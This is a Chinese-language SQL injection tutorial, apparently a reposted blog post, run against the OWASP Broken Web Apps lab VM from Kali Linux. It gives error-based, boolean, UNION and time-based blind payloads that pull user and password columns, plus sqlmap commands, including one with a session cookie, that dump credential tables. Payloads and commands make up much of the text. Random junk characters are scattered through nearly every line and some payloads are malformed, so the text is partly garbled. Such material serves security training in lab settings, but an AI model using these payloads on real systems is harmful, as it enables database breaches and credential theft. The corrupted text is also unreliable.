|
9 X: R$ r& @* R) D0 s 在owasp年度top 10 安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。 ! ?5 L6 ^0 h8 j, p) l
对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle; 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作; 9 t+ d4 V# U \
SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程; 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!1.实验说明
$ R7 e% u' K) H# |* o 目标靶机:OWASP_Broken_Web_Apps_VM_1.25 o3 x/ D: I# T3 G( r0 C' ^" K) I
6 i7 @: K6 D+ E2 p$ g! W( G# ?; w 下载地址
, a/ K `+ h6 O. D) L2 E- w 测试渗透机:Kali-Linux-2018.2-vm-amd644 g% U( D# a3 ^
下载地址1.SQL注入的危害
5 S; t' ?) K w1 n 1、拖库导致用户数据泄漏;- r$ R. [2 D; @2 D$ f5 R% h) h/ E' ]
2、危害web等应用的安全;
- ^8 S T+ k" W8 Y 3、失去操作系统的控制权;
0 G" Z- U5 F; ?) l2 n 4、用户信息被非法买卖;; y1 B* r9 ]9 ?8 f- \) Q0 K
5、危害企业及国家的安全! / C, e! |$ X+ x
2.注入流程
: v2 V3 b) J4 r, j/ ^/ x7 r& T 1. 判断是否有SQL注入漏洞;
% o& b- h- V+ A) M8 `1 C 2. 判断操作系统、数据库和web应用的类型;
@9 l3 x% C2 N! P; [0 b 3. 获取数据库信息,包括管理员信息及拖库;
8 P; P0 V" Z: V 4. 加密信息破解,sqlmap可自动破解;
- |% K7 r8 T/ @% R 5. 提升权限,获得sql-shell、os-shell、登录应用后台; ) [) j) N B& u% I' A% h
2.手动注入实战
1 }/ [! p, } ^- I% p 1.基于错误的注入
' n# w1 B0 s# I8 V& O 错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息* ~. Y- q& N6 n
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。  " b& X, ^: T! R% Q8 g3 \8 S
SQL注入语句解析:
3 d( X. I3 B& b/ K mysql> select first_name,last_name from dvwa.users;
' ~( I3 U6 S+ U& O mysql> select first_name,last_name from dvwa.users where user_id=1;
- [+ M" |3 j! O6 [ z9 K #你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句
! x4 V2 J0 n8 j8 G9 R' _4 n% t 怎么样判断我们是否可以注入呢?) t/ p5 q, r9 H* l. t- y& w
F* Y" r" N7 y5 ^
q) ?. Z* I. m" t& b: b$ R7 g 会发生页面报错
6 Z/ P8 i& S. g9 o You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1 * a* d# C/ v7 e6 _5 `; j% L
SQL注入语句解析:% S5 Z- S; a" r, l* D
mysql> select first_name,last_name from dvwa.users where user_id=这就代表此网站我们可以注入,有注入点. t' f7 `( g- I; r1 c! Q) [" q
2.基于布尔的注入: y+ b; _, r( c) j
。
' y& } H. P: z, p3 Y 这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
$ d3 ^# v c! q; t1 g/ Q + R9 i# U8 v) m/ k, `$ Y
注入语句: or 1=1 --! Q7 |6 x) |/ l* \+ Z; P: ^8 D
原始语句:( s' [7 q" T) e* p# x+ d6 j2 r* [
mysql> select first_name,last_name from dvwa.users where user_id=
1 z4 X7 J# R- t8 X SQL注入语句解析: or 1=1 --7 L( F& P3 m S' r( T) ]- K
mysql> select first_name,last_name from dvwa.users where user_id= or 1=1 --6 Q9 B5 i1 p; x/ P( ?
说明:# Q, A5 o Y A7 A6 P
第一个 用于闭合前面的条件
/ [7 X& N. L' G" X# k( `- f+ n or 1=1 为真的条件
7 L) ]5 z+ L' ~3 y4 d8 n4 t -- 将注释后面的所有语句
# N$ {- n6 i3 h; x 仔细看where user_id= or 1=1 -- 这个条件语句
4 H! ^% L: q( T7 y% ] user_id= 这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假
" r! ]7 f6 o# ]: ~" f 但是1=1 这个语句肯定为真 -- 是注释的意思,也就说后面的不用管5 O7 s* f: Q7 Y% k# [
or 表示有一个条件为真就是真% V; O8 r. J+ k- r5 ]7 Q3 V
那总得来说这个where语句一定为真: @6 y5 J7 K; X! O8 H
整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容
6 I2 I' m1 \$ H: I 3.基于UNION注入
% a0 K: Y# @0 {- d& f$ d3 y UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;, g+ u9 f- L0 x+ k
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息
/ @" ? P& K7 m: K //猜测数据列数. p; Q" E3 H" h' U2 T1 `- ~
union select 1 --
, s2 o6 t* j# [ union select 1,2 --
% [6 z) O& A8 |% O) q; Z; q union select 1,2,3 --+ B7 F0 J1 h/ K. ^% V2 @" m. V7 Y
union select 1,2,3,4 --
8 l% \' O1 z) Q3 {" I SQL注入语句解析: C; v$ V L r) e' a
mysql> select first_name,last_name from dvwa.users where user_id= union select 1 --7 L8 j7 t; q4 F
mysql> select first_name,last_name from dvwa.users where user_id= union select 1,2 --
* E! d2 U6 H- G/ [1 [. l6 T6 h3 g+ O; u; }6 k
//union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的/ ?! H6 \) C: K q3 W
字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。 6 W4 w" a+ k; P% E5 M
这里: o6 Q4 H7 V' ~* h/ ~7 a; Y/ O% \
显然只有两个字段  
/ X/ X- g4 X: P3 g5 b 你查询的不一定非要是字段,也可以是版本,表之类的
& W9 u. k, y( q/ Y: G* o$ N' Z //获得当前数据库及用户信息& I) Y# r! R7 \; C& L
union select version(), database() --
) V1 o; w) S# W, ?# L* g( {) V union select user(), database() --
) B- }( Q2 J( [5 _3 p$ m //查询所有库名
) o! m3 U0 H/ g/ d" Y3 f. L union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables --
7 e8 X/ z6 x+ ` #这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的1 x0 F3 k3 `1 V7 e+ P' e5 J3 r
//查看所库中所有表名
3 @" Y5 t; X; V3 H4 m9 l union select table_name, 1 from INFORMATION_SCHEMA.tables --
# _- V$ }( k- [1 | //同时查询表名及对应库名& P: d2 _7 w6 U9 ~8 q: C$ w5 c
union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- k. [2 ]7 \& b/ R/ ]1 @
//查询数据列( Y( ?7 a" I" u/ }' c
union select NULL, user from users -- union select NULL, password from users --( Y1 F* W. v* g8 p4 m. u* l% n6 P
union select user, password from users -- union select NULL, GRANTEE from USER_PRIVILEGES --
0 i4 K) D; V, E. x7 f/ Q+ o 因为union前面只有两个字段,那我们想要查询多个字段怎么办?, u) r( {% {: |% X# J$ ^9 U+ w* m R& A
用mysql自带的函数concat(),如/ d0 T2 Q* m6 Z, B1 n
union select password, concat(first_name, ,last_name, ,user) from users --
# C# x0 p% U. c, J, W$ f" U& v! j
# t* o) `4 o4 C4 \7 n$ |7 O; ^4 p & I7 L& \; v- Q# D" g
4.基于时间的盲注
9 P: {" T8 V0 ?0 f) W& V 有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点1 and sleep(5) --) C0 z$ ]0 Z0 \
SQL注入语句解析:
$ m; T: q' X9 l! i2 V mysql> select first_name,last_name from dvwa.users where user_id=1 and sleep(5) -- 。
* D. i2 e% [+ }* f" [ 3.sqlmap自动化注入SQL注入比较好用的工具,首推开源工具SQLmapSQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。 # e H6 D6 U+ u9 o* G5 W$ `; R
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
; W0 P) U ^8 z/ P2 | . J& x) {# A/ c3 A
1.GET方法注入+ f$ q0 p- G! q3 m* @$ {% F9 k
打开kali,用户名root 密码toor
$ ^- U0 t/ g4 y+ A1 ^! [4 m : g3 P. p* r; ^& F7 Y# ]3 F6 d
2 O6 r9 T7 G( R! t 查看帮助我们发现我们需要获取到网页的url+ _1 s, L0 f9 ]! l; t" h
  " w0 Y. F/ j! y% w# L
+ N3 W. `0 h3 z, i6 K5 m 然后我们把该网页的连接复制下来在kali里面进行测试root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details" 
; b' f" H* l; S8 R& T sqlmap参数解析:
# h0 w4 z- D4 R2 p6 A --users #所有用户. {1 [+ F, q7 B
--current-user #当前用户0 b/ Y6 l. n* x! X* _
--dbs #所有库
* ], o; c5 R9 E; J7 R4 q: Q, T --current-db #当前库
- {0 d) ^% c2 C2 M( l -D "database_name" --tables #指定库名" p% T5 L) K) y. K( Q
-D "database_name" -T "table_name" --columns #指定库名和表名$ j: n0 L, S8 O! b! ^
--dump-all #所有的内容
2 m0 [ q6 d h0 K2 u! ~ --dump-all --exclude-sysdbs0 \$ C/ s0 E# ~) R0 n3 E2 t5 M
-D "database_name" -T "table_name" --dump w! I) i7 Y" c3 N9 T# v
-D "database_name" -T "table_name" -C "username, password" --dump
8 T0 M8 z$ E6 K8 z7 S0 q #-C 指定字段
9 o# T, U6 E! i0 J0 G --batch //自动化完成
6 Q: G V+ f; Y, J 示例步骤:
; s: y; ]. ]- u' _7 x V0 f2 ]2 b t 1. 获得当前数据库: O/ x# e: w( o( u' f
root@kali:~# sqlmap -u "你自己的url" --batch --current-db. r G/ L4 B3 ~% b& R2 l9 e( S* s
2. 获得数据库表
% c; Y8 E: @ w) v4 `% s root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables: I A. ^2 s r! a) }$ g8 v
3. 获得表的字段
a* M' ~+ ~9 }5 g" `% ~6 v: Z root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns* o; H% f ~- ]% `1 S% }& _
4. 获得表中的数据, J8 N) |; ~0 f
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
6 E; W% ~% B3 D& \. {1 D9 M 3 j( D0 F% K5 F* W
2.POST方法注入3 c/ g9 k! d; w
需要带cookie才能访问的注入页面,--cookie=""
+ t5 X) v0 @. {. P5 [% o9 j+ X  E* ~6 c1 z/ ?8 G1 J6 F5 u
root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch
* q o# T+ m7 F8 x
2 l, q f4 v& G" P3 M5 M 参数跟get获取的参数一样,就是post需要用url+cookie你们的评论和点赞是我写文章的最大动力,蟹蟹。
2 ~: w& ^, L9 l) ~: M/ S+ \1 x- l8 l; x1 m4 R1 G2 M7 z
5 I. e* T s5 j% ~) d6 P# v
3 r+ |# _5 a. c. Y9 y, ^2 G2 Q4 ~, r$ n
|